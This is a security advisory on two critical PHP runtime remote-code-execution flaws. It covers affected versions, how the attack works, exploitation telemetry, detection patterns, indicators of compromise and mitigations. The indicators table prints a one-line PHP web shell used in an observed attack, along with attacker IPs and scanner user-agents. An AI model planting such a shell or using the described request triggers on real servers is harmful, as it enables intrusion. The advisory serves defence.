October 22nd, 2026

Critical Unauthenticated Remote Code Execution Vulnerabilities in PHP Runtime (CVE-2026-109618, CVE-2026-109619)

Critical

Our Cyber Threat Intelligence Unit is monitoring two critical vulnerabilities in the PHP runtime, CVE-2026-109618 and CVE-2026-109619, also known as “php2shell”. Both can allow unauthenticated remote code execution in PHP itself, without a vulnerability in the application running on top. Risk is highest on Apache mod_php, where the attack can run before any application code. PHP rated both 9.2 on CVSS v4.0, and NVD scores both 9.8 on CVSS 3.1. PHP released fixes in 8.5.12, 8.4.27, 8.3.36, and 8.2.35 on October 21, 2026, a day ahead of the original embargo, after the CVE IDs leaked on October 20. Amazon first observed an exploitation attempt on October 17, and attempts rose sharply after disclosure. Several vendors report that the observed attempts were unsuccessful, and the sources reviewed identified no confirmed compromise of a named organization. Organizations should prioritize patching internet-facing PHP.

Technical Details

Threat Type: Memory corruption leading to unauthenticated RCE (CVE-2026-109618: out-of-memory handling corruption; CVE-2026-109619: stale request state use-after-free)
Severity: Critical (CVSS 3.1 9.8 per NVD; CVSS v4.0 9.2 per PHP; both CVEs)
Authentication: None required; no user interaction.
Threat Actors: None attributed. Amazon says the varied payloads and infrastructure it observed suggest multiple actors.
Affected Systems:
- PHP 8.2 before 8.2.35, 8.3 before 8.3.36, 8.4 before 8.4.27, 8.5 before 8.5.12. PHP 8.2 reaches end of life on December 31, 2026.
- PHP 8.1 and older are end of life and receive no official releases; CERT-EU lists them as affected. PHP provides minimal source backports for 7.4, 8.0 and 8.1.
- Calif, Wiz, Cloudflare and Google Cloud report exposure back to PHP 5.4.
- All web-serving SAPIs are at risk: PHP-FPM, Apache mod_php, php-cgi, FrankenPHP and LiteSpeed. PHP rates mod_php highest.
- Products embedding PHP:
  - Palo Alto Networks confirms all versions of PAN-OS (10.2, 11.1, 11.2, 12.1 and 12.2) and Panorama are affected through the management web interface. No fixed release is available, and Palo Alto is not aware of exploitation. It rates the PAN-OS exposure CVSS-B 8.7 (High) with moderate urgency.
  - As of October 22, Cisco and Fortinet are still investigating and have not identified an affected product.
Exploit Status: Attempts reported; no confirmed compromise reported.
- Amazon observed the first attempt on October 17, while the vulnerabilities were under embargo, from a commercial anonymization network. It observed multiple PoC attempts from additional anonymized infrastructure from about 02:00 UTC on October 21, says it is unclear whether any would have succeeded, and describes the vulnerabilities as broadly exploited in the wild after the patch release.
- Cloudflare’s CEO reported thousands of attempts in the 10 hours before announcement and millions afterward (via SecurityWeek). Hadrian and Patchstack also reported exploitation attempts before release (via SecurityWeek).
- watchTowr reports that indiscriminately sprayed PoCs either do not work, test timing or crash the target (via SecurityWeek). VulnCheck reports that only a very small number of public PoCs are legitimate and none independently bypass ASLR on x86-64. VulnCheck also observed one unsuccessful web shell upload attempt on October 21.
- Calif and Wiz demonstrated unauthenticated RCE against common PHP applications. Datadog independently reproduced CVE-2026-109618 command execution against mod_php (PHP 8.5.11, Debian 12 ARM64, Apache prefork). VulnCheck states its own exploit succeeds on x86-64 with ASLR enabled and display_errors=off (PHP 8.4.26).
- Huntress saw no exploitation across its partner base as of October 21, 4:30 pm ET. The PHP security team reviewed PoCs that appeared after the leak and identified no functional exploits at release.
- Fake PoCs, including prank scripts, are circulating on GitHub (JFrog).
Attack Chain:
- Initial Access: Crafted HTTP requests, such as multipart uploads, sent to any PHP application. No application vulnerability is required for the demonstrated mod_php attack.
- CVE-2026-109618: PHP uses longjmp() on out-of-memory errors, leaving request memory partially initialized, and request shutdown then acts on it. Triggers include multipart requests without a usable content length, many headers per part, and empty file controls with nested field names. mod_php runs shutdown even after startup failure, so the attack executes before any application code (RCE validated against mod_php with default PHP input and memory limits). FPM exits the child on startup failure. PHP reports no complete FPM exploit for that path, while the PHP Foundation reports FPM RCE through application-level code paths.
- CVE-2026-109619: Request-owned error, session, object or extension state survives after its heap is freed, and a later request on the same worker uses it, causing a use-after-free. Confirmed paths are PHP 8.5 fatal_error_backtraces (mod_php) and session upload progress, which is on by default (mod_php; FPM only where an application operation publishes state before a fatal error).
- Variants: Wiz reports a memory disclosure path and an OPcache type confusion path. Wiz’s CVE mapping differs from PHP’s, and this advisory follows PHP’s.
- Post-Exploitation: Code execution as the web worker account, and possible disclosure of passwords, tokens, API keys and certificates from other requests. No post-exploitation malware, persistence or C2 is documented.

Impact

Remote Code Execution: Attackers can run code with web worker privileges, on mod_php without needing an application vulnerability.
Memory Disclosure: Attackers can read process memory belonging to other requests (Wiz).
Denial of Service: Exploitation can crash PHP processes (Cloudflare, Fastly).
Broad Exposure: PHP runs about 70% of websites (Wiz, Cloudflare). Censys reports about 1.57 million of 1.58 million hosts with identifiable PHP versions were unpatched on October 21 (via SecurityWeek), and VulnCheck counts more than 1.1 million internet-facing hosts on end-of-life branches. About 4 in 5 PHP hosts hide their version (VirusTotal). Counts reflect banners, not confirmed vulnerabilities.
Embedded PHP: Appliances that bundle PHP may be exposed without a visible PHP installation, as PAN-OS shows.
Older Branches: No official release for 8.1 and older, so those installations depend on source backports, vendor backports, or upgrades.
Limiting Conditions: CVE-2026-109619 needs both requests to reach the same worker. Fastly reports that existing PoCs need knowledge of the PHP binary and address-space layout, and VulnCheck reports that public PoCs do not independently bypass ASLR on x86-64, but VulnCheck’s own exploit succeeds on x86-64 with ASLR enabled and display_errors=off. Fastly advises defenders not to assume this limitation holds true for them, and that operators of 32-bit PHP applications should likely assume compromise. VulnCheck notes ASLR can be brute-forced relatively easily on ARM64.

Detection Method

Until systems are patched, pay particular attention to unusual multipart requests followed by memory-limit errors or repeated HTTP 500 responses, unexpectedly large or malformed PHPSESSID response cookies, and unexplained PHP worker churn or restarts (Wiz, The Hacker News).
Hunt for repeated warnings, deprecations, and fatal errors before target scripts run, and for “Maximum execution time exceeded”. PHP notes that the absence of these is not proof of safety. For an isolated audit, set log_errors=On, a functional error_log and error_reporting=E_ALL in startup configuration.
Fastly guidance: out-of-memory errors reported at “Unknown on line 0”, bursts of Apache AH00052 segmentation faults, URL-encoded POST bodies above 1 to 2 MB, URL-encoded POST bodies that begin with an empty field name (“=”) followed by a field name containing many repeated “[” characters, and PHP_SESSION_UPLOAD_PROGRESS fields in multipart uploads to endpoints that do not use upload progress.
Alert on PHP worker processes launching shells, interpreters or download tools (Huntress), and check web application servers for unexpected process execution or file modification (Amazon).
Search logs for the indicators in Section 5.0. Amazon advises investigating observations involving its listed IP addresses rather than blocking them, as they include shared anonymization infrastructure. VulnCheck suggests blocking its listed IP addresses, hunting in logs, and alerting in WAF/IDS on its listed user-agents, and notes that the indicators have a shelf life of days because hosting IPs rotate.
Start investigations from at least October 17, 2026, the earliest known exploitation, rather than from the disclosure date (Amazon).
Check distribution package changelogs for the CVE IDs rather than the version string, as Debian advises, because a distribution package can carry the fix under an old-looking version number (The Hacker News). Google Cloud Artifact Analysis and On-Demand Scanning can identify at-risk images.
Vendor signatures: Cisco lists Snort rules 67359 and 67360, and Fortinet lists OT IPS signatures 10009977 and 10009978 (version 37.316), in their advisories.

Indicators of Compromise

The indicators below come from Amazon and VulnCheck telemetry. Amazon notes that the identified IP addresses include shared anonymization infrastructure and advises investigating observations involving them rather than blocking.

Type	Indicator	Description
IP Address	103.216.220[.]92	First observed exploitation attempt (Amazon MadPot, October 17, 2026); commercial anonymization network
IP Address	31.223.184[.]166	Observed by Amazon in MadPot telemetry, October 21, 2026
IP Address	37.19.200[.]5	Observed by Amazon in MadPot telemetry, October 21, 2026
IP Address	134.209.159[.]64	Observed by Amazon in MadPot telemetry, October 21, 2026
IP Address	103.114.163[.]188	Observed by Amazon in MadPot telemetry, October 21, 2026
IP Address	95.217.98[.]37	Observed by Amazon in MadPot telemetry, October 21, 2026
IP Address	85.11.167[.]243	Probe and sweep source against VulnCheck canaries (CVE-2026-109618), October 21, 08:37 to 10:46 UTC
IP Address	45.198.224[.]169	Probe and follow-up POST requests against VulnCheck canaries (CVE-2026-109618), October 21, 14:15 to 15:52 UTC
IP Address	109.71.252[.]97	Probe for CVE-2026-109618 and CVE-2026-109619, October 21, 15:55 UTC
IP Address	221.14.159[.]134	Exploitation attempt with web shell upload via PHP_SESSION_UPLOAD_PROGRESS, unsuccessful, October 21, 17:22 to 17:24 UTC
IP Address	91.90.123[.]25	Verification check, October 21, 17:23 UTC
User-Agent	php2shell-scan/109618	Scanner user-agent (VulnCheck)
User-Agent	php2shell-scan/1.3 (eigen-oppervlak controle; CVE-2026-109618/109619)	Scanner user-agent (VulnCheck)
User-Agent	php2shell-verify/1.0	Verification user-agent (VulnCheck)
User-Agent	Mozilla/5.0 (php2shell-poc)	User-agent of the exploitation attempt (VulnCheck)
Session ID	xqsuvwz3n97wu8j3emz1axuo5y	PHPSESSID used in the exploitation attempt; session file sess_xqsuvwz3n97wu8j3emz1axuo5y
Multipart Boundary	------p2s9rdme2st6guc9g0rafic	Boundary used in the exploitation attempt
File Name	p2s.txt	Upload filename used in the exploitation attempt
Web Shell String	<?php echo 'PWNED::'; system($_GET['c']); ?>	Web shell planted via PHP_SESSION_UPLOAD_PROGRESS in the exploitation attempt
SHA-256	150ae88f0999032e2a6113501d6082f54a3ed98d02427b21a96e773a27d7bf16	Uploaded content, part a, 10,370 bytes
SHA-256	40caf199ca1ebe056a74427f8e9db06c66899e33ae09c0ec2769ec70bf6dd8e7	Uploaded content, part a, 8,922 bytes (from 45.198.224[.]169)
SHA-256	27d926a6708d6769d97d065e7a5a860ab496eab272c03d1cebc55ec71b954fa2	Uploaded content, part b, 64 bytes
SHA-256	1485e14e0f62bc94664eec341cabd275dad7d30b1d496c40ec340c9a0d9f0ba8	Follow-up request body, 13 bytes (from 45.198.224[.]169)
URL Path	/download.php?file=php://filter/...	Read-back requests for the planted session file; 10 requests, all returned 404
URL Path	/php2shell-probe-<random>.php and /php2shell-probe-<random>.txt	Probe paths (VulnCheck)
URL Path	/vuln.php, /phpinfo.php, /info.php, /php.php, /pi.php, /test.php, /i.php	Common PHP info pages probed from 109.71.252[.]97; /vuln.php probed from 91.90.123[.]25 (VulnCheck)

mix of red, purple, orange, blue bubble shape waves horizontal for cybersecurity and netwo

Recommendations

Update to PHP 8.5.12, 8.4.27, 8.3.36 or 8.2.35, then restart Apache, PHP-FPM and any long-running PHP workers (The Hacker News, watchTowr). PHP states updating is the only complete mitigation. Updating website code or plugins, or an application such as WordPress, does not update the PHP runtime (Cloudflare, The Hacker News). If a hosting provider manages PHP, ask the provider to apply the update (Cloudflare).
- Check distribution and LTS vendor packages, which received the patches in advance.
- The fix removes longjmp() from out-of-memory handling and adds a soft limit handled at the next VM safe point plus a hard limit that exits the worker.
- After updating, review memory_limit and post_max_size against what the application needs, as the fix adds a hard memory limit (The Hacker News). PHP notes that conservative request-size and input limits still reduce hard out-of-memory and denial-of-service risk after patching, and that it may be prudent to keep session.upload_progress.enabled=0 if the feature is not needed.
PHP 8.1 and older: upgrade, obtain vendor backports, or build from the PHP security team’s source backports (7.4, 8.0, 8.1).
If a system cannot be updated immediately, CERT-EU advises considering isolating internet-facing resources from public networks until the fix is applied and verified, and watchTowr advises restricting internet access to those systems until the update can be applied. NCSC UK advises considering taking a system offline until it can be fully mitigated if temporary mitigations cannot be applied promptly, and, if it cannot be updated or disabled immediately, assessing it for evidence of compromise and looking for backdoors installed by an attacker.
Inventory every PHP install, including vendor appliances and Windows software that bundle php.exe or php-cgi.exe, control panels such as cPanel and Plesk, and anything running WordPress, Drupal, Joomla or Magento (Huntress). Patch internet-facing systems first (Huntress). Do not limit discovery to outdated PHP versions, as all versions may be affected (NCSC UK), and do not assume a system is unaffected because it does not advertise PHP (VulnCheck).
Palo Alto PAN-OS and Panorama: restrict management interface access to trusted internal IP addresses, ideally a single jump box that is the only system allowed to access the management interface. Customers with a Threat Prevention subscription should enable Threat IDs 543004, 97622, 97623, 97624 and 97625 (Applications and Threats content version 9162 or later). For these Threat IDs to protect against attacks, Palo Alto states that incoming traffic for the MGT port must be routed through a data plane port, the certificate for inbound traffic management replaced, inbound traffic to the management interface decrypted so the firewall can inspect it, and threat prevention enabled on the inbound traffic to management services. Monitor the Palo Alto advisory for fixed versions, and monitor security updates from third-party vendors, including for appliances and services that may bundle PHP (NCSC UK).
Interim measures reduce exposure to specific paths only and do not make an installation safe. Apply them in startup or administrative configuration and restart every worker.
- CVE-2026-109618: set memory_limit=-1 via php_admin_value (this increases memory-exhaustion risk); set post_max_size to 8M, or 32M if uploads are needed, with upload_max_filesize below it; enforce request size, part, header and nesting limits at the web server or proxy; block multipart requests if unused; use a cgroup or container limit that kills only the affected worker. Do not use RLIMIT_AS or RLIMIT_DATA.
- CVE-2026-109619: set session.upload_progress.enabled=0 (PHP states this prevents only the demonstrated session paths and does not mitigate the other paths); on PHP 8.5 set fatal_error_backtraces=0; remove invalid or deprecated per-request INI settings; fix attacker-reachable fatal errors and timeouts; optionally set pm.max_requests=1 if performance is not a factor (PHP notes that multiple workers and recycling reduce success per request but do not remove the condition).
Hiding diagnostics with error_reporting, display_errors or @ does not help.
watchTowr takes a different view: it states that mitigations involving .ini file changes should be understood as ineffective and not suitable to prevent exploitation.
Cloudflare WAF protection is on by default via the Managed Free Ruleset (ID 77454fe2d30c4220b5701f6fdfb893ba) and Managed Ruleset (ID efb7b8c949ac4650a09736fc376e9aee). Customers on Professional, Business or Enterprise plans should confirm the Managed Ruleset is deployed in block mode. Cloudflare advises keeping WAF protections enabled while patching, and patching even with the WAF providing an additional layer of defense in depth.
If compromise is suspected, look for web shells and new files in the web root, along with new cron jobs, scheduled tasks and accounts (Huntress, watchTowr). If you find something, isolate the server and preserve web server and PHP logs (Huntress); watchTowr also advises preserving configuration snapshots and suspicious files before making changes.

Conclusion

CVE-2026-109618 and CVE-2026-109619 are vulnerabilities in core PHP memory and error handling that can allow unauthenticated code execution, on mod_php without relying on an application vulnerability. Official fixes cover only PHP 8.2 to 8.5, with source backports for 7.4, 8.0 and 8.1. Exploitation attempts were first observed on October 17 and surged after disclosure, and no confirmed compromise has been reported. Most public PoCs are unreliable, but researchers have demonstrated working exploits, including on x86-64 with ASLR enabled. Organizations should patch internet-facing PHP first, restart workers, track vendor advisories for embedded PHP such as PAN-OS and Panorama, apply interim mitigations where patching is delayed, and hunt for activity from October 17.